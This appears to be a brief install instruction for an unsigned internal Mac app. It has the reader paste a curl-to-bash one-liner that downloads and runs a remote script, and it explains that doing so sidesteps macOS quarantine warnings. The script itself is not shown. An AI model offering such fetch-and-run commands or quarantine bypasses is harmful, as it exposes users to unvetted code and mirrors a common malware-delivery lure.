Open Terminal (press ⌘ Space, type "Terminal", press Return), then paste this and press Return:
curl -fsSL https://forms.reachprojects.co/download/install-mac.sh | bashIt downloads the app, puts it in Applications, and opens it. Takes about thirty seconds.
Why the Terminal?
This is an internal tool and the app is not signed with an Apple developer certificate, so when a browser downloads it, macOS quarantines it and shows a "damaged" warning that offers only the Trash. The Terminal download skips the quarantine, so the app opens normally. Same file either way.